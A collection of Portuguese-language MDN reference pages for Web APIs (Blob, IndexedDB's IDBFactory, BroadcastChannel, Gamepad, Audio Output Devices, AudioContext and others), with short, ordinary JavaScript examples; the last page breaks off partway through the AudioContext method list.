{"title":"ANGLE_instanced_arrays - APIs da Web","text":"ANGLE\\_instanced\\_arrays\n========================\n\nA extenção **`ANGLE_instanced_arrays`** é parte do WebGL API e permite desenhar o mesmo objeto, ou grupos de objectos semelhantes várias vezes, se eles compartilham os mesmos dados de vértice, contagem primitiva e tipo.\n\nAs extensões WebGL estão disponíveis usando o método `WebGLRenderingContext.getExtension()` (en-US). Para mais informações, veja também Usando Extenções (en-US) no WebGL tutorial (en-US).\n\n**Nota:** **Disponibilidade:** Esta extenção só está disponível para contextos WebGL1 (en-US). Em WebGL2 (en-US), a funcionalidade desta extenção está disponível no contexto WebGL2 por padrão e as constantes e métodos estao disponíveis sem o sufixo \"`ANGLE`\".\n\nApesar do nome \"ANGLE\", esta extenção funciona em qualquer dispositivo se o hardware oferece suporte a ele e não apenas no Windows ao usar a biblioteca ANGLE. \"ANGLE\" apenas indica que essa extencão foi escrita pelos autores da biblioteca ANGLE.\n\nConstantes\n----------\n\nEssa extensão expõe uma nova constante, que pode ser usada no método `gl.getVertexAttrib()` (en-US):\n\n`ext.VERTEX_ATTRIB_ARRAY_DIVISOR_ANGLE`\n\nRetorna um `GLint` (en-US) descrevendo o divisor de frequência usado para renderização instanciada quando usado no `gl.getVertexAttrib()` (en-US) como parâmetro `pname`.\n\nMétodos\n-------\n\nEssa extensão expõe três novos métodos.\n\n`ext.drawArraysInstancedANGLE()` (en-US)\n\nSe comporta de forma idêntica a `gl.drawArrays()` (en-US) exceto que múltiplo instâncias do intervalo de elementos são executadas e a instância avança para cada iteração.\n\n`ext.drawElementsInstancedANGLE()` (en-US)\n\nComporta-se de forma idêntica para o `gl.drawElements()` (en-US) exceto que várias instâncias do conjunto de elementos são executadas e a instância avança entre cada conjunto.\n\n`ext.vertexAttribDivisorANGLE()` (en-US)\n\nModifica a taxa na qual os atributos de vértice genéricos avançam ao renderizar várias instâncias de primitivos com `ext.drawArraysInstancedANGLE()` (en-US) e `ext.drawElementsInstancedANGLE()` (en-US).\n\nExemplos\n--------\n\nHabilitando a extenção:\n\n\n```js\nvar ext = gl.getExtension(\"ANGLE\\_instanced\\_arrays\");\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| WebGL ANGLE\\_instanced\\_arrays Khronos Ratified Extension Specification  |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVer também\n----------\n\n* `WebGLRenderingContext.getExtension()` (en-US)\n* `WebGL2RenderingContext.drawArraysInstanced()` (en-US)\n* `WebGL2RenderingContext.drawElementsInstanced()` (en-US)\n* `WebGL2RenderingContext.vertexAttribDivisor()` (en-US)"}
{"title":"Blob - APIs da Web","text":"Blob\n====\n\nSumário\n-------\n\nUm objeto `Blob` representa um objeto do tipo arquivo, com dados brutos imutáveis. Blobs representam dados que não estão necessariamente em um formato JavaScript nativo. A interface `File` é baseada no `Blob`, herdando funcionalidade blob e expandindo-o para suportar arquivos no sistema do usuário.\n\nPara construir um `Blob` a partir de outro objeto ou dado não-blob , utilize o construtor `Blob()`. Para criar um blob que contém um subconjunto de dados de outro blob, use o método `slice()`. Para obter um objeto Blob de um arquivo no sistema de arquivos do usuário, veja a documentação `File`.\n\nAs APIs que aceitam objetos `Blob` também são listados na documentação `File`.\n\n**Nota:** O método `slice()` usava inicialmente `length` como segundo argumento para indicar o numero de bytes a copiar no novo `Blob`. Se você especificou valores de maneira que `start + length` excederam o tamanho do `Blob` de origem, o `Blob` retornado contém dados a partir do início do índice até o final do `Blob` de origem.\n\n**Nota:** Esteja ciente que o método `slice()` possui prefixos de fornecedores em alguns navegadores e versões: `blob.mozSlice()` para Firefox 12 e anteriores, e `blob.webkitSlice()` para Safari. Uma versão antiga do método `slice()`, sem prefixos de fornecedor, tem semântica diferente, e portanto é obsoleta. O suporta para `blob.mozSlice()` foi descontinuado a partir do Firefox 30.\n\nConstrutor\n----------\n\n`Blob(blobParts[, opções])`\n\nRetorna um novo `Blob` object cujo conteúdo consiste na concatenação do array de valores passados por parâmentro.\n\nPropriedades\n------------\n\n`Blob.size` Somente leitura \n\nTamanho em bytes dos dados contidos no objeto `Blob`.\n\n`Blob.type` Somente leitura \n\nUma string que indica o MIME type dos dados no `Blob`. Se o tipo é desconhecido, então retorna uma string vazia.\n\nMétodos\n-------\n\n`Blob.slice([start[, end[, contentType]]])`\n\nRetorna um novo `Blob` object contendo dados em no intervalo de bytes especificado do `Blob` de origem.\n\nExemplos\n--------\n\n### Exemplos de uso do construtor Blob\n\nO código a seguir:\n\n\n```js\nvar aFileParts = ['<a id=\"a\"><b id=\"b\">hey!</b></a>'];\nvar oMyBlob = new Blob(aFileParts, { type: \"text/html\" }); // o blob\n```\n\n\nequivale a:\n\n\n```js\nvar oBuilder = new BlobBuilder();\nvar aFileParts = ['<a id=\"a\"><b id=\"b\">hey!</b></a>'];\noBuilder.append(aFileParts[0]);\nvar oMyBlob = oBuilder.getBlob(\"text/xml\"); // o blob\n```\n\n\n**Aviso:** O `BlobBuilder` (en-US) oferece outra maneira para criar Blobs, mas é depreciado e não deveria mais ser usado.\n\n### Exemplo para criar uma URL para uma array tipada usando blob\n\nO código a seguir:\n\n\n```js\nvar typedArray = GetTheTypedArraySomehow();\nvar blob = new Blob([typedArray], { type: \"application/octet-binary\" }); // passe um MIME-type útil aqui\nvar url = URL.createObjectURL(blob);\n// url será algo do tipo: blob:d3958f5c-0777-0845-9dcf-2cb28783acaf\n// agora você pode usar a URL em qualquer contexto em que URLs regulares podem ser usadas, por exemplo: img.src, etc.\n```\n\n### Exemplo de Extração de Dados de Um Blob\n\nO único jeito de ler o conteúdo de um Blob é usando `FileReader`. O código a seguir lê o conteudo de um Blob como um Array.\n\n\n```js\nvar reader = new FileReader();\nreader.addEventListener(\"loadend\", function () {\n  // reader.result contém o conteúdo do blob como uma array tipada\n});\nreader.readAsArrayBuffer(blob);\n```\n\n\nAo usar outros métodos de `FileReader`, é possível ler o conteúdo de um Blob como uma string ou como uma data URL.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| File API # blob-section |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja Também\n-----------\n\n* `BlobBuilder` (en-US)\n* `File`"}
{"title":"Gamepad API - APIs da Web","text":"Gamepad API\n===========\n\nA **Gamepad API** é uma maneira dos desenvolvedores acessarem e responderem à sinais oriundos de gamepads e outros controladores de games de forma simples e consistente. A API contém três interfaces, dois eventos e uma função especialista, para responder aos gamepads sendo conectados e desconectados, e acessar outras informações sobre o próprio gamepad, e quais botões e outros controles estão sendo de fato passados.\n\nInterfaces\n----------\n\n`Gamepad` (en-US)\n\nRepresenta o gamepad/controlador conectado ao computador.\n\n`GamepadButton` (en-US)\n\nRepresenta um botão num dos controles conectados.\n\n`GamepadEvent` (en-US)\n\nO objeto de evento representando eventos disparados que são relacionados ao gamepad.\n\n### Experimental Gamepad extensions\n\n`GamepadHapticActuator` (en-US)\n\nRepresenta o hardware no controlador designado à prover feedbacks táteis ao usuário (Se disponível), mais comumente um hardware de vibração.\n\n`GamepadPose` (en-US)\n\nRepresenta a \"localização\" de um controle (ex. posição e orientação no espaço 3D) no caso de um controlador WebVR.\n\nVeja também as extensões para a interface de Gamepad (en-US), para funcionalidades que permitem você acessar as informações acima.\n\n### Extensions to other interfaces\n\n#### Navigator\n\n`Navigator.getGamepads()` (en-US)\n\nUma extensão para o objeto `Navigator` (en-US) que retorna um array de objetos `Gamepad` (en-US), um para cada controlador conectado.\n\n#### Window events\n\n`Window.ongamepadconnected` (en-US)\n\nRepresenta um controlador de evento que irá rodar quando o gamepad é conectado (quando o evento `gamepadconnected (en-US)` for disparado).\n\n`Window.ongamepaddisconnected` (en-US)\n\nRepresenta um controlador de evento que irá rodar quando o gamepad é desconectado (quando o evento `gamepaddisconnected (en-US)` for disparado).\n\nGuias e tutorias\n----------------\n\n* Using the Gamepad API (en-US)\n* Implementing controls using the Gamepad API (en-US)\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Gamepad # gamepad-interface |\n| Gamepad Extensions # partial-gamepad-interface |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* The Gamepad API por Ted Mielczarek and Robert Nyman\n* Simple API demo page (source)"}
{"title":"Position - APIs da Web","text":"Position\n========\n\n**Secure context:** This feature is available only in secure contexts (en-US) (HTTPS), in some or all supporting browsers.\n\nA interface **`Position`** representa a posição do dispositivo em questão em um dado momento. A posição, representada por um objeto `Coordinates`, compreende a posição 2D do dispositivo, em um esferóide representando a Terra, e também inclui sua altitude e velocidade.\n\nPropriedades\n------------\n\n*A interface `Position` não herda nenhuma propriedade*.\n\n`Position.coords` Somente leitura  Secure context\n\nRetorna um objeto `Coordinates` definindo a localização atual.\n\n`Position.timestamp` (en-US) Somente leitura  Secure context\n\nRetorna um `DOMTimeStamp` (en-US) representando o momento em que a localização foi detectada.\n\nMétodos\n-------\n\n**A inteface `Position` não implementa ou herda nenhum método*.*\\*\\*\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Geolocation API # position\\_interface |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Usando geolocalização (en-US)\n* A interface `Geolocation` que usa isto"}
{"title":"BroadcastChannel - APIs da Web","text":"BroadcastChannel\n================\n\nBaseline 2022\n-------------\n\nNewly availableSince March 2022, this feature works across the latest devices and browser versions. This feature might not work in older devices or browsers.\n\n* Learn more\n* See full compatibility\n* Report feedback\nA interface **`BroadcastChannel`** representa um canal com um nome em que qualquer browsing context (en-US) (contexto de navegação) de uma determinada origin (origem) pode assinar. Permite a comunicação entre diferentes documentos (em diferentes janelas, abas, frames ou iframes) da mesma *origin*. As mensagens são transmitidas através de um evento `message` acionado em todos objetos do tipo `BroadcastChannel` que estão ouvindo o canal.\n\n**Note:** This feature is available in Web Workers\n\nConstrutor\n----------\n\n`BroadcastChannel()` (en-US)\n\nCria um objeto, no qual faz o vínculo com um canal nomeado.\n\nPropriedades\n------------\n\n*Essa interface também herda propriedades de seu pai, `EventTarget`.*\n\n`BroadcastChannel.name` (en-US)\n\nRetorna um `DOMString`, o nome do canal.\n\n### Event handlers\n\n`BroadcastChannel.onmessage` (en-US)\n\nUma propriedade `event handler` que específica a função a ser executada quando um evento `message` é acionado a este objeto.\n\n`BroadcastChannel.onmessageerror` (en-US)\n\nUma chamada `event handler` quando um `MessageEvent` (en-US) do tipo `MessageError` é disparado - isto é, quando recebe uma mensagem que não pode ser desserializada.\n\nMétodos\n-------\n\n*Essa interface também herda métodos de seu pai, `EventTarget`.*\n\n`BroadcastChannel.postMessage()` (en-US)\n\nEnvia a mensagem, de qualquer tipo de objeto, para cada objeto `BroadcastChannel` ouvindo o mesmo canal.\n\n`BroadcastChannel.close()` (en-US)\n\nFecha o objeto do canal, indicando que ele não receberá novas mensagens e eventualmente será descartado.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # broadcasting-to-other-browsing-contexts |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Outra forma mais pesada de comunicação entre *browser contexts*: `ServiceWorker` (en-US).\n* Visão geral de Broadcast Channel API (en-US)"}
{"title":"CharacterData - APIs da Web","text":"CharacterData\n=============\n\nA interface abstrata **CharacterData** representa um objeto `Node` que contém caracteres. Esta é uma interface abstrata, o que significa que não há nenhum objeto do tipo `CharacterData`: ela é implementada por outras interfaces, como `Text` (en-US), `Comment` (en-US) ou `ProcessingInstruction`, que não são abstratas.\n\nEventTarget\n\nNode\n\nCharacterDataPropriedades\n------------\n\n*Herda propriedades de seu pai, `Node`, e implementa as interfaces `ChildNode` e `NonDocumentTypeChildNode` (en-US).*\n\n`CharacterData.data` (en-US)\n\nÉ um `DOMString` representando os dados textuais contidos neste objeto.\n\n`CharacterData.length` (en-US) Somente leitura \n\nRetorna um `unsigned long` representando o tamanho da string contida em `CharacterData.data`.\n\n`NonDocumentTypeChildNode.nextElementSibling` (en-US) Somente leitura \n\nReturns the `Element` immediately following the specified one in its parent's children list, or `null` if the specified element is the last one in the list.\n\n`NonDocumentTypeChildNode.previousElementSibling` (en-US) Somente leitura \n\nReturns the `Element` immediately prior to the specified one in its parent's children list, or `null` if the specified element is the first one in the list.\n\nMethods\n-------\n\n*Inherits methods from its parent, `Node`, and implements the `ChildNode` and `NonDocumentTypeChildNode` (en-US)* interface.\n\n`CharacterData.appendData()` (en-US)\n\nAppends the given `DOMString` to the `CharacterData.data` string; when this method returns, `data` contains the concatenated `DOMString`.\n\n`CharacterData.deleteData()` (en-US)\n\nRemoves the specified amount of characters, starting at the specified offset, from the `CharacterData.data` string; when this method returns, `data` contains the shortened `DOMString`.\n\n`CharacterData.insertData()` (en-US)\n\nInserts the specified characters, at the specified offset, in the `CharacterData.data` string; when this method returns, `data` contains the modified `DOMString`.\n\n`ChildNode.remove()` (en-US) \nExperimental\n\nRemoves the object from its parent children list.\n\n`CharacterData.replaceData()` (en-US)\n\nReplaces the specified amount of characters, starting at the specified offset, with the specified `DOMString`; when this method returns, `data` contains the modified `DOMString`.\n\n`CharacterData.substringData()` (en-US)\n\nReturns a `DOMString` containing the part of `CharacterData.data` of the specified length and starting at the specified offset.\n\nSpecifications\n--------------\n\n| Specification |\n| --- |\n| DOM Standard # interface-characterdata |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nSee also\n--------\n\n* The DOM interfaces index (en-US)."}
{"title":"IDBFactory - APIs da Web","text":"IDBFactory\n==========\n\nA interface IDBFactory, pertencente a IndexedDB API , permite que aplicativos acessem de forma assíncrona os bancos de dados indexados. O objeto que implementa a interface é o window.indexedDB, com este objeto é possível criar, acessar, modificar e excluir informações de um banco de dados.\n\n**Note:** This feature is available in Web Workers\n\nMétodos\n-------\n\n`IDBFactory.open` (en-US)\n\nRealizar a abertura de uma conexão com uma base de dados.\n\n`IDBFactory.deleteDatabase` (en-US)\n\nRemove uma base de dados.\n\n`IDBFactory.cmp` (en-US)\n\nCompara dois valores chaves e determina se elas são iguais e se não, quem é a maior.\n\n### Métodos Obsoletos\n\n`IDBFactory.open` (en-US), a versão original\n\nEste método realizava conexão com uma base de dados, ele ainda é usado em alguns navegadores.\n\nExemplo\n-------\n\nNo código abaixo, realizamos uma conexão com um banco de dados e incluímos manipuladores para os casos de sucesso e erro. Você pode obter o To-do Notifications app como exemplo (Visualizar exemplo.)\n\n\n```js\nvar note = document.querySelector(\"ul\");\n\n// In the following line, you should include the prefixes of implementations you want to test.\nwindow.indexedDB =\n  window.indexedDB ||\n  window.mozIndexedDB ||\n  window.webkitIndexedDB ||\n  window.msIndexedDB;\n// DON'T use \"var indexedDB = ...\" if you're not in a function.\n// Moreover, you may need references to some window.IDB\\* objects:\nwindow.IDBTransaction =\n  window.IDBTransaction ||\n  window.webkitIDBTransaction ||\n  window.msIDBTransaction;\nwindow.IDBKeyRange =\n  window.IDBKeyRange || window.webkitIDBKeyRange || window.msIDBKeyRange;\n// (Mozilla has never prefixed these objects, so we don't need window.mozIDB\\*)\n\n// Let us open version 4 of our database\nvar DBOpenRequest = window.indexedDB.open(\"toDoList\", 4);\n\n// these two event handlers act on the database being opened successfully, or not\nDBOpenRequest.onerror = function (event) {\n  note.innerHTML += \"<li>Error loading database.</li>\";\n};\n\nDBOpenRequest.onsuccess = function (event) {\n  note.innerHTML += \"<li>Database initialised.</li>\";\n\n  // store the result of opening the database in the db variable. This is used a lot later on, for opening transactions and suchlike.\n  db = DBOpenRequest.result;\n};\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Indexed Database API 3.0 # factory-interface |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nSee also\n--------\n\n* Usando IndexedDB\n* Inicializando uma Transaction: `IDBDatabase` (en-US)\n* Usando uma Transaction: `IDBTransaction` (en-US)\n* Configurando um Intervalo de chaves: `IDBKeyRange` (en-US)\n* Recuperando e modificando dados: `IDBObjectStore` (en-US)\n* Usando cursors: `IDBCursor`\n* Exemplo de referência: To-do Notifications (Visualizar exemplo.)"}
{"title":"API de Dispositivos de Saída de Áudio - APIs da Web","text":"API de Dispositivos de Saída de Áudio\n=====================================\n\n**Secure context:** This feature is available only in secure contexts (en-US) (HTTPS), in some or all supporting browsers.\n\n**Experimental:** **Esta é uma tecnologia experimental (en-US)**  \nVerifique a tabela de compatibilidade entre Navegadores cuidadosamente antes de usar essa funcionalidade em produção.\n\nA **API de Dispositivos de Saída de Áudio** permite que aplicações web solicitem aos usuários qual dispositivo de saída deve ser usado para a reprodução de áudio.\n\nConceitos e uso\n---------------\n\n Sistemas operacionais comumente permitem que os usuários especifiquem se o áudio deve ser reproduzido nos alto-falantes, em um fone de ouvido Bluetooth ou em algum outro dispositivo de saída de áudio.\n Esta API permite que as aplicações ofereçam essa mesma funcionalidade a partir de uma página web.\n\nMesmo se permitido por uma política de permissões, o acesso a um dispositivo de saída de áudio específico ainda requer permissão explícita do usuário, pois o usuário pode estar em um local onde a reprodução de áudio através de alguns dispositivos de saída não seja apropriada.\n\n A API fornece o método `MediaDevices.selectAudioOutput()` (en-US) que permite aos usuários selecionar sua saída de áudio desejada dentre aquelas permitidas pela diretiva `speaker-selection` (en-US) do cabeçalho HTTP `Permissions-Policy` do documento.\n O dispositivo selecionado recebe, então, permissão do usuário, permitindo que ele seja enumerado com `MediaDevices.enumerateDevices()` (en-US) e definido como dispositivo de saída de áudio usando `HTMLMediaElement.setSinkId()` (en-US).\n\n Dispositivos de áudio podem se conectar e desconectar arbitrariamente. Aplicações que desejam reagir a esse tipo de mudança podem ouvir o evento `devicechange` event (en-US) e usar `enumerateDevices()` (en-US) para determinar se `sinkId` está presente nos dispositivos retornados.\n Isso pode iniciar, por exemplo, a pausa ou retomada da reprodução.\n\nInterfaces\n----------\n\n### Extensões para interfaces\n\nA API de Dispositivos de Saída de Áudio estende as seguintes APIs, adicionando as funcionalidades listadas:\n\n#### MediaDevices\n\n`MediaDevices.selectAudioOutput()` (en-US)\n\n Este método solicita ao usuário a seleção de um dispositivo de saída de áudio específico, como um alto-falante ou fone de ouvido.\n Selecionar um dispositivo concede permissão do usuário para usá-lo e retorna informações sobre o dispositivo, incluindo seu ID.\n\n\n#### HTMLMediaElement\n\n`HTMLMediaElement.setSinkId()` (en-US)\n\nEste método define o ID do dispositivo de áudio a ser usado para saída, que será usado se permitido.\n\n`HTMLMediaElement.sinkId` (en-US)\n\nEsta propriedade retorna o ID único do dispositivo de áudio em uso, ou uma string vazia se o dispositivo padrão do agente do usuário estiver sendo usado.\n\nRequisitos de segurança\n-----------------------\n\nO acesso à API está sujeito às seguintes restrições:\n\n* Todos os métodos e propriedades só podem ser chamados em um contexto seguro (en-US).\n* `MediaDevices.selectAudioOutput()` (en-US) concede permissão do usuário para um dispositivo selecionado ser usado como o dispositivo de saída de áudio:\n    + O acesso pode ser controlado pela política de permissões HTTP `speaker-selection` (en-US).\n    + Ativação de usuário transitória (en-US) é necessária.\n     O usuário deve interagir com a página ou um elemento de interface do usuário para que o método seja chamado.\n* `HTMLMediaElement.setSinkId()` (en-US) define um ID permitido como saída de áudio:\n    + O acesso pode ser controlado pela política de permissões HTTP `speaker-selection` (en-US).\n    + É necessária a permissão do usuário para definir um ID de dispositivo não padrão.\n        - Isso pode vir da seleção na janela de diálogo lançada por `MediaDevices.selectAudioOutput()`\n        - A permissão do usuário para definir o dispositivo de saída é concedida implicitamente se o usuário já concedeu permissão para usar um dispositivo de entrada de mídia no mesmo grupo com `MediaDevices.getUserMedia()` (en-US).\n\nO status da permissão pode ser consultado usando o método Permissions API (en-US) `navigator.permissions.query()` (en-US), passando um descritor de permissão com a permissão `speaker-selection`.\n\nExemplos\n--------\n\nAqui está um exemplo de uso de `selectAudioOutput()`, dentro de uma função que é acionada por um clique em um botão, e em seguida definindo o dispositivo selecionado como saída de áudio.\n\n O código primeiro verifica se `selectAudioOutput()` é suportado e, se for o caso, o utiliza para selecionar uma saída e retornar um ID do dispositivo (en-US).\n Em seguida, reproduzimos algum áudio usando a saída padrão e, em seguida, chamamos `setSinkId()` para alternar para o dispositivo de saída selecionado.\n\n\n```js\ndocument.querySelector(\"#meuBotao\").addEventListener(\"click\", async () => {\n  if (!navigator.mediaDevices.selectAudioOutput) {\n    console.log(\n      \"selectAudioOutput() não suportado ou não está em contexto seguro.\",\n    );\n    return;\n  }\n\n  // Exibe janela de seleção do dispositivo\n  const dispositivoDeAudio = await navigator.mediaDevices.selectAudioOutput();\n\n  // Cria um elemento de áudio e inicia a reprodução de áudio no dispositivo padrão\n  const audio = document.createElement(\"audio\");\n  audio.src = \"https://example.com/audio.mp3\";\n  audio.play();\n\n  // Altera a saída para o dispositivo de áudio selecionado.\n  audio.setSinkId(dispositivoDeAudio.deviceId);\n});\n```\n\n\nObserve que se você registrar os detalhes de saída, eles podem se parecer com isso:\n\n\n```js\nconsole.log(\n  `${dispositivoDeAudio.kind}: ${dispositivoDeAudio.label} id = ${dispositivoDeAudio.deviceId}`,\n);\n// saída de áudio: Saída Digital Realtek (Áudio Realtek(R)) id = 0wE6fURSZ20H0N2NbxqgowQJLWbwo+5ablCVVJwRM3k=\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Audio Output Devices API  |\n\nCompatibilidade com navegadores\n-------------------------------\n\n### api.MediaDevices.selectAudioOutput\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### api.HTMLMediaElement.setSinkId\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### api.HTMLMediaElement.sinkId\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### http.headers.Permissions-Policy.speaker-selection\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"BatteryManager - APIs da Web","text":"BatteryManager\n==============\n\nResumo\n------\n\nA interface `BatteryManager` fornece maneiras de obter informações sobre o nível de carga da bateria do sistema.\n\nA propriedade `navigator.battery` retorna uma instância da interface `BatteryManager` que você pode utilizar para interajir com a API de status da bateria.\n\nPropriedades\n------------\n\n`BatteryManager.charging` Somente leitura \n\nUm valor Booleano que indica se a bateria está sendo carregada no momento.\n\n`BatteryManager.chargingTime` Somente leitura \n\nUm número representando o tempo restante em segundos até a bateria estar completamente carregada, ou 0 se a carga já estiver completa.\n\n`BatteryManager.dischargingTime` Somente leitura \n\nUm número representando o tempo restante em segundos até a bateria estar completamente descarregada e o sistema ser suspenso.\n\n`BatteryManager.level` Somente leitura \n\nUm número representando o nível de carga da bateria do sistema em uma escala de valores entre 0.0 e 1.0.\n\n### Eventos\n\n`BatteryManager.onchargingchange`\n\nTratamento para o evento `chargingchange`; Esse evento é enviado quando o status de carregamento da bateria é atualizado.\n\n`BatteryManager.onchargingtimechange`\n\nTratamento para o evento `chargingtimechange`; Esse evento é enviado quando o tempo de carregamento da bateria é atualizado.\n\n`BatteryManager.ondischargingtimechange`\n\nTratamento para o evento `dischargingtimechange`; Esse evento é enviado quando o tempo de descarregamento da bateria é atualizado.\n\n`BatteryManager.onlevelchange`\n\nTratamento para o evento `levelchange`; Esse evento é enviado quando a nível da bateria é atualizado.\n\nMétodos\n-------\n\nHerdado de `EventTarget`:\n\n`EventTarget.addEventListener()`\n\nRegistra um tratamento para um tipo específico de evento sobre o `EventTarget`.\n\n`EventTarget.removeEventListener()`\n\nRemove um *event listener* do `EventTarget`.\n\n`EventTarget.dispatchEvent()`\n\nDispatch an event to this `EventTarget`.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Battery Status API # the-batterymanager-interface |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `navigator.battery`\n* A Battery Status API"}
{"title":"AudioContext - APIs da Web","text":"AudioContext\n============\n\nA interface `AudioContext` representa um grafo de processamento de áudio construído a partir de nós de áudio conectados, cada um representado por um `AudioNode` Um contexto de áudio controla a criação dos nós que contém e a execução do processamento de áudio, ou decodificação. Você precisa criar um AudioContext antes de fazer qualquer outra coisa, pois tudo acontece dentro de um contexto.\n\nUm `AudioContext`pode ser um alvo de eventos, portanto, ele implementa a interface `EventTarget`.\n\nConstrutor\n----------\n\n`AudioContext()` (en-US)\n\nCria e retorna um novo objeto `AudioContext`.\n\nPropriedades\n------------\n\n`AudioContext.currentTime` Somente leitura \n\nRetorna um double representando um tempo cada vez maior de hardware em segundos usados para agendamento. Começa em `0`.\n\n`AudioContext.destination` (en-US) Somente leitura \n\nRetorna um `AudioDestinationNode` (en-US) representando o destino final de todo o áudio no contexto. Pode ser pensado como o dispositivo de renderização de áudio.\n\n`AudioContext.listener` (en-US) Somente leitura \n\nRetorna o objeto `AudioListener` (en-US), usado para especialização 3D\n\n`AudioContext.sampleRate` (en-US) Somente leitura \n\nRetorna um float representando a taxa de amostragem (em amostras por segundo) usado por todos os nós neste contexto. A taxa de amostragem de um `AudioContext` não pode ser alterada.\n\n`AudioContext.state` (en-US) Somente leitura \n\nRetorna o estado atual do `AudioContext`.\n\n`AudioContext.mozAudioChannelType` \nNon-standard\n Somente leitura \n\nUsado para retornar o canal de áudio que o som toca em um `AudioContext` irá tocar em um dispositivo do Firefox OS.\n\n### Manipuladores de eventos\n\n`AudioContext.onstatechange` (en-US)\n\nUm manipulador de evento que é executado quando um evento do tipo `statechange (en-US)` dispara.\n\nIsso ocorre quando o estado `AudioContext` muda, devido ao chamado de um dos métodos de mudança de estado (`AudioContext.suspend` (en-US), `AudioContext.resume` (en-US), or `AudioContext.close` (en-US)).\n\nMétodos\n-------\n\n*Também implementa métodos a partir da interface* `EventTarget`.\n\n`AudioContext.close()` (en-US)\n\nFecha o contexto de áudio, liberando todos os recursos de áudio do sistema que ele usa.\n\n`AudioContext.createBuffer()` (en-US)\n\nCria um novo, objeto `AudioBuffer` (en-US) vázio, que pode ser preenchido por dados e reproduzido através de um `AudioBufferSourceNode` (en-US).\n\n`AudioContext.createBufferSource()` (en-US)\n\nCria um `AudioBufferSourceNode` (en-US), que pode ser usado para reproduzir e manipular dados de audio contidos dentro de um objeto `AudioBuffer` (en-US). `AudioBuffer` (en-US) são criados usando `AudioContext.createBuffer` (en-US) ou retornado por `AudioContext.decodeAudioData` (en-US) quando decodifica com sucesso uma faixa de áudio.\n\n`AudioContext.createMediaElementSource()` (en-US)\n\nCria um `MediaElementAudioSourceNode` (en-US) associado com um `HTMLMediaElement` (en-US). Isso pode ser usado para reproduzir e manipular o audio This can be used to play and manipulate audio dos elementos `<video>` ou `<audio>`.\n\n`AudioContext.createMediaStreamSource()` (en-US)\n\nCria um `MediaStreamAudioSourceNode` (en-US) associado com um `MediaStream` (en-US) um fluxo (stream) de áudio que pode vir do microfone local do computador ou de outras fontes.\n\n`AudioContext.createMediaStreamDestination()` (en-US)\n\nCria um `MediaStreamAudioDestinationNode` (en-US) associado com um `MediaStream` (en-US) representando um fluxo (stream) de audio que pode ser armazenado em um arquivo local ou enviados para outro computador.\n\n`AudioContext.createScriptProcessor()` (en-US)\n\nCria um a `ScriptProcessorNode` (en-US), que pode ser usado para processamento de áudio direto via JavaScript.\n\n`AudioContext.createStereoPanner()` (en-US)\n\nCria um `StereoPannerNode` (en-US), que pode ser usado para aplicar uma panorâmica estéreo para uma fonte de áudio.\n\n`AudioContext.createAnalyser()` (en-US)\n\nCreates an `AnalyserNode` (en-US), which can be used to expose audio time and frequency data and for example to create data visualisations.\n\n`AudioContext.createBiquadFilter()` (en-US)\n\nCria um `BiquadFilterNode`, que representa um filtro de segunda ordem configurável como vários tipos de filtros comuns diferentes: high-pass, low-pass, band-pass, etc.\n\n`AudioContext.createChannelMerger()` (en-US)\n\nCria um `ChannelMergerNode` (en-US), que é usado para combinar canais de múltiplos fluxos de áudio em um único fluxo de áudio.\n\n`AudioContext.createChannelSplitter()` (en-US)\n\nCria um `ChannelSplitterNode` (en-US), que é usado para acessar os canais individuais de um fluxo de áudio e processá-los separadamente.\n\n`AudioContext.createConvolver()` (en-US)\n\nCria um `ConvolverNode` (en-US), que pode ser usado para aplicar efeitos de convolução ao seu gráfico de áudio, por exemplo, um efeito de reverberação.\n\n`AudioContext.createDelay()` (en-US)\n\nCria um `DelayNode` (en-US), que é usado para atrasar o sinal de áudio recebido por uma certa quantia. Este nó também é útil para criar loops de feedback em um gráfico de API de Web Audio.\n\n`AudioContext.createDynamicsCompressor()` (en-US)\n\nCria um `DynamicsCompressorNode` (en-US), que pode ser usada para aplicar compressão acústica para um sínal de áudio.\n\n`AudioContext.createGain()` (en-US)\n\nCria um `GainNode` (en-US), que pode ser usado para controlar o volume total do gráfico de áudio.\n\n`AudioContext.createIIRFilter()` (en-US)\n\nCria um `IIRFilterNode` (en-US), que representa um filtro de segunda ordem configurável como vários tipos de filtros comuns diferentes.\n\n`AudioContext.createOscillator()` (en-US)\n\nCria um `OscillatorNode` (en-US), uma fonte que representa uma forma de onda periódica. Isso basicamente gera um tom.\n\n`AudioContext.createPanner()` (en-US)\n\nCria um `PannerNode` (en-US), que é usado para spatializar um fluxo de áudio recebido no espaço 3D.\n\n`AudioContext.createPeriodicWave()` (en-US)\n\nCria um `PeriodicWave` (en-US), usado para definir uma forma de onda periódica que pode ser usada para determinar a saída de um `OscillatorNode` 